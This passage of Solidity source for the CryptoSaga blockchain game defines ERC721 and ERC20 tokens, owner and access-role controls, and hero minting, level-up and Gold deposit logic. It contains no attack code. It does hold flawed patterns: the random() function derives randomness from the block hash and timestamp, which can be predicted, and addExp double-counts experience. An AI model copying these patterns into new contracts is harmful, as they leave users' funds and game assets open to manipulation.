/**
* @dev Allows the pendingOwner address to finalize the transfer.
*/
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
/**
* @title ERC721 interface
* @dev see https://github.com/ethereum/eips/issues/721
*/
contract ERC721 {
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function transfer(address _to, uint256 _tokenId) public;
function approve(address _to, uint256 _tokenId) public;
function takeOwnership(uint256 _tokenId) public;
}
/**
* @title ERC721Token
* Generic implementation for the required functionality of the ERC721 standard
*/
contract ERC721Token is ERC721 {
using SafeMath for uint256;
// Total amount of tokens
uint256 private totalTokens;
// Mapping from token ID to owner
mapping (uint256 => address) private tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) private tokenApprovals;
// Mapping from owner to list of owned token IDs
mapping (address => uint256[]) private ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private ownedTokensIndex;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return totalTokens;
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
return ownedTokens[_owner].length;
}
/**
* @dev Gets the list of tokens owned by a given address
* @param _owner address to query the tokens of
* @return uint256[] representing the list of tokens owned by the passed address
*/
function tokensOf(address _owner) public view returns (uint256[]) {
return ownedTokens[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Gets the approved address to take ownership of a given token ID
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved to take ownership of the given token ID
*/
function approvedFor(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
clearApprovalAndTransfer(msg.sender, _to, _tokenId);
}
/**
* @dev Approves another address to claim for the ownership of the given token ID
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
address owner = ownerOf(_tokenId);
require(_to != owner);
if (approvedFor(_tokenId) != 0 || _to != 0) {
tokenApprovals[_tokenId] = _to;
Approval(owner, _to, _tokenId);
}
}
/**
* @dev Claims the ownership of a given token ID
* @param _tokenId uint256 ID of the token being claimed by the msg.sender
*/
function takeOwnership(uint256 _tokenId) public {
require(isApprovedFor(msg.sender, _tokenId));
clearApprovalAndTransfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
/**
* @dev Mint token function
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addToken(_to, _tokenId);
Transfer(0x0, _to, _tokenId);
}
/**
* @dev Burns a specific token
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(uint256 _tokenId) onlyOwnerOf(_tokenId) internal {
if (approvedFor(_tokenId) != 0) {
clearApproval(msg.sender, _tokenId);
}
removeToken(msg.sender, _tokenId);
Transfer(msg.sender, 0x0, _tokenId);
}
/**
* @dev Tells whether the msg.sender is approved for the given token ID or not
* This function is not private so it can be extended in further implementations like the operatable ERC721
* @param _owner address of the owner to query the approval of
* @param _tokenId uint256 ID of the token to query the approval of
* @return bool whether the msg.sender is approved for the given token ID or not
*/
function isApprovedFor(address _owner, uint256 _tokenId) internal view returns (bool) {
return approvedFor(_tokenId) == _owner;
}
/**
* @dev Internal function to clear current approval and transfer the ownership of a given token ID
* @param _from address which you want to send tokens from
* @param _to address which you want to transfer the token to
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApprovalAndTransfer(address _from, address _to, uint256 _tokenId) internal {
require(_to != address(0));
require(_to != ownerOf(_tokenId));
require(ownerOf(_tokenId) == _from);
clearApproval(_from, _tokenId);
removeToken(_from, _tokenId);
addToken(_to, _tokenId);
Transfer(_from, _to, _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _owner);
tokenApprovals[_tokenId] = 0;
Approval(_owner, 0, _tokenId);
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addToken(address _to, uint256 _tokenId) private {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
uint256 length = balanceOf(_to);
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
totalTokens = totalTokens.add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeToken(address _from, uint256 _tokenId) private {
require(ownerOf(_tokenId) == _from);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = balanceOf(_from).sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
tokenOwner[_tokenId] = 0;
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
totalTokens = totalTokens.sub(1);
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title AccessDeposit
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessDeposit is Claimable {
// Access for adding deposit.
mapping(address => bool) private depositAccess;
// Modifier for accessibility to add deposit.
modifier onlyAccessDeposit {
require(msg.sender == owner || depositAccess[msg.sender] == true);
_;
}
// @dev Grant acess to deposit heroes.
function grantAccessDeposit(address _address)
onlyOwner
public
{
depositAccess[_address] = true;
}
// @dev Revoke acess to deposit heroes.
function revokeAccessDeposit(address _address)
onlyOwner
public
{
depositAccess[_address] = false;
}
}
/**
* @title AccessDeploy
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessDeploy is Claimable {
// Access for deploying heroes.
mapping(address => bool) private deployAccess;
// Modifier for accessibility to deploy a hero on a location.
modifier onlyAccessDeploy {
require(msg.sender == owner || deployAccess[msg.sender] == true);
_;
}
// @dev Grant acess to deploy heroes.
function grantAccessDeploy(address _address)
onlyOwner
public
{
deployAccess[_address] = true;
}
// @dev Revoke acess to deploy heroes.
function revokeAccessDeploy(address _address)
onlyOwner
public
{
deployAccess[_address] = false;
}
}
/**
* @title AccessMint
* @dev Adds grant/revoke functions to the contract.
*/
contract AccessMint is Claimable {
// Access for minting new tokens.
mapping(address => bool) private mintAccess;
// Modifier for accessibility to define new hero types.
modifier onlyAccessMint {
require(msg.sender == owner || mintAccess[msg.sender] == true);
_;
}
// @dev Grant acess to mint heroes.
function grantAccessMint(address _address)
onlyOwner
public
{
mintAccess[_address] = true;
}
// @dev Revoke acess to mint heroes.
function revokeAccessMint(address _address)
onlyOwner
public
{
mintAccess[_address] = false;
}
}
/**
* @title Gold
* @dev ERC20 Token that can be minted.
*/
contract Gold is StandardToken, Claimable, AccessMint {
string public constant name = "Gold";
string public constant symbol = "G";
uint8 public constant decimals = 18;
// Event that is fired when minted.
event Mint(
address indexed _to,
uint256 indexed _tokenId
);
// @dev Mint tokens with _amount to the address.
function mint(address _to, uint256 _amount)
onlyAccessMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
}
/**
* @title CryptoSaga Card
* @dev ERC721 Token that repesents CryptoSaga's cards.
* Buy consuming a card, players of CryptoSaga can get a heroe.
*/
contract CryptoSagaCard is ERC721Token, Claimable, AccessMint {
string public constant name = "CryptoSaga Card";
string public constant symbol = "CARD";
// Rank of the token.
mapping(uint256 => uint8) public tokenIdToRank;
// The number of tokens ever minted.
uint256 public numberOfTokenId;
// The converter contract.
CryptoSagaCardSwap private swapContract;
// Event that should be fired when card is converted.
event CardSwap(address indexed _by, uint256 _tokenId, uint256 _rewardId);
// @dev Set the address of the contract that represents CryptoSaga Cards.
function setCryptoSagaCardSwapContract(address _contractAddress)
public
onlyOwner
{
swapContract = CryptoSagaCardSwap(_contractAddress);
}
function rankOf(uint256 _tokenId)
public view
returns (uint8)
{
return tokenIdToRank[_tokenId];
}
// @dev Mint a new card.
function mint(address _beneficiary, uint256 _amount, uint8 _rank)
onlyAccessMint
public
{
for (uint256 i = 0; i < _amount; i++) {
_mint(_beneficiary, numberOfTokenId);
tokenIdToRank[numberOfTokenId] = _rank;
numberOfTokenId ++;
}
}
// @dev Swap this card for reward.
// The card will be burnt.
function swap(uint256 _tokenId)
onlyOwnerOf(_tokenId)
public
returns (uint256)
{
require(address(swapContract) != address(0));
var _rank = tokenIdToRank[_tokenId];
var _rewardId = swapContract.swapCardForReward(this, _rank);
CardSwap(ownerOf(_tokenId), _tokenId, _rewardId);
_burn(_tokenId);
return _rewardId;
}
}
/**
* @title The interface contract for Card-For-Hero swap functionality.
* @dev With this contract, a card holder can swap his/her CryptoSagaCard for reward.
* This contract is intended to be inherited by CryptoSagaCardSwap implementation contracts.
*/
contract CryptoSagaCardSwap is Ownable {
// Card contract.
address internal cardAddess;
// Modifier for accessibility to define new hero types.
modifier onlyCard {
require(msg.sender == cardAddess);
_;
}
// @dev Set the address of the contract that represents ERC721 Card.
function setCardContract(address _contractAddress)
public
onlyOwner
{
cardAddess = _contractAddress;
}
// @dev Convert card into reward.
// This should be implemented by CryptoSagaCore later.
function swapCardForReward(address _by, uint8 _rank)
onlyCard
public
returns (uint256);
}
/**
* @title CryptoSagaHero
* @dev The token contract for the hero.
* Also a superset of the ERC721 standard that allows for the minting
* of the non-fungible tokens.
*/
contract CryptoSagaHero is ERC721Token, Claimable, Pausable, AccessMint, AccessDeploy, AccessDeposit {
string public constant name = "CryptoSaga Hero";
string public constant symbol = "HERO";
struct HeroClass {
// ex) Soldier, Knight, Fighter...
string className;
// 0: Common, 1: Uncommon, 2: Rare, 3: Heroic, 4: Legendary.
uint8 classRank;
// 0: Human, 1: Celestial, 2: Demon, 3: Elf, 4: Dark Elf, 5: Yogoe, 6: Furry, 7: Dragonborn, 8: Undead, 9: Goblin, 10: Troll, 11: Slime, and more to come.
uint8 classRace;
// How old is this hero class?
uint32 classAge;
// 0: Fighter, 1: Rogue, 2: Mage.
uint8 classType;
// Possible max level of this class.
uint32 maxLevel;
// 0: Water, 1: Fire, 2: Nature, 3: Light, 4: Darkness.
uint8 aura;
// Base stats of this hero type.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] baseStats;
// Minimum IVs for stats.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] minIVForStats;
// Maximum IVs for stats.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] maxIVForStats;
// Number of currently instanced heroes.
uint32 currentNumberOfInstancedHeroes;
}
struct HeroInstance {
// What is this hero's type? ex) John, Sally, Mark...
uint32 heroClassId;
// Individual hero's name.
string heroName;
// Current level of this hero.
uint32 currentLevel;
// Current exp of this hero.
uint32 currentExp;
// Where has this hero been deployed? (0: Never depolyed ever.) ex) Dungeon Floor #1, Arena #5...
uint32 lastLocationId;
// When a hero is deployed, it takes time for the hero to return to the base. This is in Unix epoch.
uint256 availableAt;
// Current stats of this hero.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] currentStats;
// The individual value for this hero's stats.
// This will affect the current stats of heroes.
// 0: ATK 1: DEF 2: AGL 3: LUK 4: HP.
uint32[5] ivForStats;
}
// Required exp for level up will increase when heroes level up.
// This defines how the value will increase.
uint32 public requiredExpIncreaseFactor = 100;
// Required Gold for level up will increase when heroes level up.
// This defines how the value will increase.
uint256 public requiredGoldIncreaseFactor = 1000000000000000000;
// Existing hero classes.
mapping(uint32 => HeroClass) public heroClasses;
// The number of hero classes ever defined.
uint32 public numberOfHeroClasses;
// Existing hero instances.
// The key is _tokenId.
mapping(uint256 => HeroInstance) public tokenIdToHeroInstance;
// The number of tokens ever minted. This works as the serial number.
uint256 public numberOfTokenIds;
// Gold contract.
Gold public goldContract;
// Deposit of players (in Gold).
mapping(address => uint256) public addressToGoldDeposit;
// Random seed.
uint32 private seed = 0;
// Event that is fired when a hero type defined.
event DefineType(
address indexed _by,
uint32 indexed _typeId,
string _className
);
// Event that is fired when a hero is upgraded.
event LevelUp(
address indexed _by,
uint256 indexed _tokenId,
uint32 _newLevel
);
// Event that is fired when a hero is deployed.
event Deploy(
address indexed _by,
uint256 indexed _tokenId,
uint32 _locationId,
uint256 _duration
);
// @dev Get the class's entire infomation.
function getClassInfo(uint32 _classId)
external view
returns (string className, uint8 classRank, uint8 classRace, uint32 classAge, uint8 classType, uint32 maxLevel, uint8 aura, uint32[5] baseStats, uint32[5] minIVs, uint32[5] maxIVs)
{
var _cl = heroClasses[_classId];
return (_cl.className, _cl.classRank, _cl.classRace, _cl.classAge, _cl.classType, _cl.maxLevel, _cl.aura, _cl.baseStats, _cl.minIVForStats, _cl.maxIVForStats);
}
// @dev Get the class's name.
function getClassName(uint32 _classId)
external view
returns (string)
{
return heroClasses[_classId].className;
}
// @dev Get the class's rank.
function getClassRank(uint32 _classId)
external view
returns (uint8)
{
return heroClasses[_classId].classRank;
}
// @dev Get the heroes ever minted for the class.
function getClassMintCount(uint32 _classId)
external view
returns (uint32)
{
return heroClasses[_classId].currentNumberOfInstancedHeroes;
}
// @dev Get the hero's entire infomation.
function getHeroInfo(uint256 _tokenId)
external view
returns (uint32 classId, string heroName, uint32 currentLevel, uint32 currentExp, uint32 lastLocationId, uint256 availableAt, uint32[5] currentStats, uint32[5] ivs, uint32 bp)
{
HeroInstance memory _h = tokenIdToHeroInstance[_tokenId];
var _bp = _h.currentStats[0] + _h.currentStats[1] + _h.currentStats[2] + _h.currentStats[3] + _h.currentStats[4];
return (_h.heroClassId, _h.heroName, _h.currentLevel, _h.currentExp, _h.lastLocationId, _h.availableAt, _h.currentStats, _h.ivForStats, _bp);
}
// @dev Get the hero's class id.
function getHeroClassId(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].heroClassId;
}
// @dev Get the hero's name.
function getHeroName(uint256 _tokenId)
external view
returns (string)
{
return tokenIdToHeroInstance[_tokenId].heroName;
}
// @dev Get the hero's level.
function getHeroLevel(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].currentLevel;
}
// @dev Get the hero's location.
function getHeroLocation(uint256 _tokenId)
external view
returns (uint32)
{
return tokenIdToHeroInstance[_tokenId].lastLocationId;
}
// @dev Get the time when the hero become available.
function getHeroAvailableAt(uint256 _tokenId)
external view
returns (uint256)
{
return tokenIdToHeroInstance[_tokenId].availableAt;
}
// @dev Get the hero's BP.
function getHeroBP(uint256 _tokenId)
public view
returns (uint32)
{
var _tmp = tokenIdToHeroInstance[_tokenId].currentStats;
return (_tmp[0] + _tmp[1] + _tmp[2] + _tmp[3] + _tmp[4]);
}
// @dev Get the hero's required gold for level up.
function getHeroRequiredGoldForLevelUp(uint256 _tokenId)
public view
returns (uint256)
{
return (uint256(2) ** (tokenIdToHeroInstance[_tokenId].currentLevel / 10)) * requiredGoldIncreaseFactor;
}
// @dev Get the hero's required exp for level up.
function getHeroRequiredExpForLevelUp(uint256 _tokenId)
public view
returns (uint32)
{
return ((tokenIdToHeroInstance[_tokenId].currentLevel + 2) * requiredExpIncreaseFactor);
}
// @dev Get the deposit of gold of the player.
function getGoldDepositOfAddress(address _address)
external view
returns (uint256)
{
return addressToGoldDeposit[_address];
}
// @dev Get the token id of the player's #th token.
function getTokenIdOfAddressAndIndex(address _address, uint256 _index)
external view
returns (uint256)
{
return tokensOf(_address)[_index];
}
// @dev Get the total BP of the player.
function getTotalBPOfAddress(address _address)
external view
returns (uint32)
{
var _tokens = tokensOf(_address);
uint32 _totalBP = 0;
for (uint256 i = 0; i < _tokens.length; i ++) {
_totalBP += getHeroBP(_tokens[i]);
}
return _totalBP;
}
// @dev Set the hero's name.
function setHeroName(uint256 _tokenId, string _name)
onlyOwnerOf(_tokenId)
public
{
tokenIdToHeroInstance[_tokenId].heroName = _name;
}
// @dev Set the address of the contract that represents ERC20 Gold.
function setGoldContract(address _contractAddress)
onlyOwner
public
{
goldContract = Gold(_contractAddress);
}
// @dev Set the required golds to level up a hero.
function setRequiredExpIncreaseFactor(uint32 _value)
onlyOwner
public
{
requiredExpIncreaseFactor = _value;
}
// @dev Set the required golds to level up a hero.
function setRequiredGoldIncreaseFactor(uint256 _value)
onlyOwner
public
{
requiredGoldIncreaseFactor = _value;
}
// @dev Contructor.
function CryptoSagaHero(address _goldAddress)
public
{
require(_goldAddress != address(0));
// Assign Gold contract.
setGoldContract(_goldAddress);
// Initial heroes.
// Name, Rank, Race, Age, Type, Max Level, Aura, Stats.
defineType("Archangel", 4, 1, 13540, 0, 99, 3, [uint32(74), 75, 57, 99, 95], [uint32(8), 6, 8, 5, 5], [uint32(8), 10, 10, 6, 6]);
defineType("Shadowalker", 3, 4, 134, 1, 75, 4, [uint32(45), 35, 60, 80, 40], [uint32(3), 2, 10, 4, 5], [uint32(5), 5, 10, 7, 5]);
defineType("Pyromancer", 2, 0, 14, 2, 50, 1, [uint32(50), 28, 17, 40, 35], [uint32(5), 3, 2, 3, 3], [uint32(8), 4, 3, 4, 5]);
defineType("Magician", 1, 3, 224, 2, 30, 0, [uint32(35), 15, 25, 25, 30], [uint32(3), 1, 2, 2, 2], [uint32(5), 2, 3, 3, 3]);
defineType("Farmer", 0, 0, 59, 0, 15, 2, [uint32(10), 22, 8, 15, 25], [uint32(1), 2, 1, 1, 2], [uint32(1), 3, 1, 2, 3]);
}
// @dev Define a new hero type (class).
function defineType(string _className, uint8 _classRank, uint8 _classRace, uint32 _classAge, uint8 _classType, uint32 _maxLevel, uint8 _aura, uint32[5] _baseStats, uint32[5] _minIVForStats, uint32[5] _maxIVForStats)
onlyOwner
public
{
require(_classRank < 5);
require(_classType < 3);
require(_aura < 5);
require(_minIVForStats[0] <= _maxIVForStats[0] && _minIVForStats[1] <= _maxIVForStats[1] && _minIVForStats[2] <= _maxIVForStats[2] && _minIVForStats[3] <= _maxIVForStats[3] && _minIVForStats[4] <= _maxIVForStats[4]);
HeroClass memory _heroType = HeroClass({
className: _className,
classRank: _classRank,
classRace: _classRace,
classAge: _classAge,
classType: _classType,
maxLevel: _maxLevel,
aura: _aura,
baseStats: _baseStats,
minIVForStats: _minIVForStats,
maxIVForStats: _maxIVForStats,
currentNumberOfInstancedHeroes: 0
});
// Save the hero class.
heroClasses[numberOfHeroClasses] = _heroType;
// Fire event.
DefineType(msg.sender, numberOfHeroClasses, _heroType.className);
// Increment number of hero classes.
numberOfHeroClasses ++;
}
// @dev Mint a new hero, with _heroClassId.
function mint(address _owner, uint32 _heroClassId)
onlyAccessMint
public
returns (uint256)
{
require(_owner != address(0));
require(_heroClassId < numberOfHeroClasses);
// The information of the hero's class.
var _heroClassInfo = heroClasses[_heroClassId];
// Mint ERC721 token.
_mint(_owner, numberOfTokenIds);
// Build random IVs for this hero instance.
uint32[5] memory _ivForStats;
uint32[5] memory _initialStats;
for (uint8 i = 0; i < 5; i++) {
_ivForStats[i] = (random(_heroClassInfo.maxIVForStats[i] + 1, _heroClassInfo.minIVForStats[i]));
_initialStats[i] = _heroClassInfo.baseStats[i] + _ivForStats[i];
}
// Temporary hero instance.
HeroInstance memory _heroInstance = HeroInstance({
heroClassId: _heroClassId,
heroName: "",
currentLevel: 1,
currentExp: 0,
lastLocationId: 0,
availableAt: now,
currentStats: _initialStats,
ivForStats: _ivForStats
});
// Save the hero instance.
tokenIdToHeroInstance[numberOfTokenIds] = _heroInstance;
// Increment number of token ids.
// This will only increment when new token is minted, and will never be decemented when the token is burned.
numberOfTokenIds ++;
// Increment instanced number of heroes.
_heroClassInfo.currentNumberOfInstancedHeroes ++;
return numberOfTokenIds - 1;
}
// @dev Set where the heroes are deployed, and when they will return.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function deploy(uint256 _tokenId, uint32 _locationId, uint256 _duration)
onlyAccessDeploy
public
returns (bool)
{
// The hero should be possessed by anybody.
require(ownerOf(_tokenId) != address(0));
var _heroInstance = tokenIdToHeroInstance[_tokenId];
// The character should be avaiable.
require(_heroInstance.availableAt <= now);
_heroInstance.lastLocationId = _locationId;
_heroInstance.availableAt = now + _duration;
// As the hero has been deployed to another place, fire event.
Deploy(msg.sender, _tokenId, _locationId, _duration);
}
// @dev Add exp.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function addExp(uint256 _tokenId, uint32 _exp)
onlyAccessDeploy
public
returns (bool)
{
// The hero should be possessed by anybody.
require(ownerOf(_tokenId) != address(0));
var _heroInstance = tokenIdToHeroInstance[_tokenId];
var _newExp = _heroInstance.currentExp + _exp;
// Sanity check to ensure we don't overflow.
require(_newExp == uint256(uint128(_newExp)));
_heroInstance.currentExp += _newExp;
}
// @dev Add deposit.
// This is intended to be called by Dungeon, Arena, Guild contracts.
function addDeposit(address _to, uint256 _amount)
onlyAccessDeposit
public
{
// Increment deposit.
addressToGoldDeposit[_to] += _amount;
}
// @dev Level up the hero with _tokenId.
// This function is called by the owner of the hero.
function levelUp(uint256 _tokenId)
onlyOwnerOf(_tokenId) whenNotPaused
public
{
// Hero instance.
var _heroInstance = tokenIdToHeroInstance[_tokenId];
// The character should be avaiable. (Should have already returned from the dungeons, arenas, etc.)
require(_heroInstance.availableAt <= now);
// The information of the hero's class.
var _heroClassInfo = heroClasses[_heroInstance.heroClassId];
// Hero shouldn't level up exceed its max level.
require(_heroInstance.currentLevel < _heroClassInfo.maxLevel);
// Required Exp.
var requiredExp = getHeroRequiredExpForLevelUp(_tokenId);
// Need to have enough exp.
require(_heroInstance.currentExp >= requiredExp);
// Required Gold.
var requiredGold = getHeroRequiredGoldForLevelUp(_tokenId);
// Owner of token.
var _ownerOfToken = ownerOf(_tokenId);
// Need to have enough Gold balance.
require(addressToGoldDeposit[_ownerOfToken] >= requiredGold);
// Increase Level.
_heroInstance.currentLevel += 1;
// Increase Stats.
for (uint8 i = 0; i < 5; i++) {
_heroInstance.currentStats[i] = _heroClassInfo.baseStats[i] + (_heroInstance.currentLevel - 1) * _heroInstance.ivForStats[i];
}
// Deduct exp.
_heroInstance.currentExp -= requiredExp;
// Deduct gold.
addressToGoldDeposit[_ownerOfToken] -= requiredGold;
// Fire event.
LevelUp(msg.sender, _tokenId, _heroInstance.currentLevel);
}
// @dev Transfer deposit (with the allowance pattern.)
function transferDeposit(uint256 _amount)
whenNotPaused
public
{
require(goldContract.allowance(msg.sender, this) >= _amount);
// Send msg.sender's Gold to this contract.
if (goldContract.transferFrom(msg.sender, this, _amount)) {
// Increment deposit.
addressToGoldDeposit[msg.sender] += _amount;
}
}
// @dev Withdraw deposit.
function withdrawDeposit(uint256 _amount)
public
{
require(addressToGoldDeposit[msg.sender] >= _amount);
// Send deposit of Golds to msg.sender. (Rather minting...)
if (goldContract.transfer(msg.sender, _amount)) {
// Decrement deposit.
addressToGoldDeposit[msg.sender] -= _amount;
}
}
// @dev return a pseudo random number between lower and upper bounds
function random(uint32 _upper, uint32 _lower)
private
returns (uint32)
{
require(_upper > _lower);
seed = uint32(keccak256(keccak256(block.blockhash(block.number), seed), now));
return seed % (_upper - _lower) + _lower;
}
}
/**
* @title CryptoSagaCorrectedHeroStats
* @dev Corrected hero stats is needed to fix the bug in hero stats.
*/
contract CryptoSagaCorrectedHeroStats {
// The hero contract.
CryptoSagaHero private heroContract;
// @dev Constructor.
function CryptoSagaCorrectedHeroStats(address _heroContractAddress)
public
{
heroContract = CryptoSagaHero(_heroContractAddress);
}
// @dev Get the hero's stats and some other infomation.
function getCorrectedStats(uint256 _tokenId)
external view
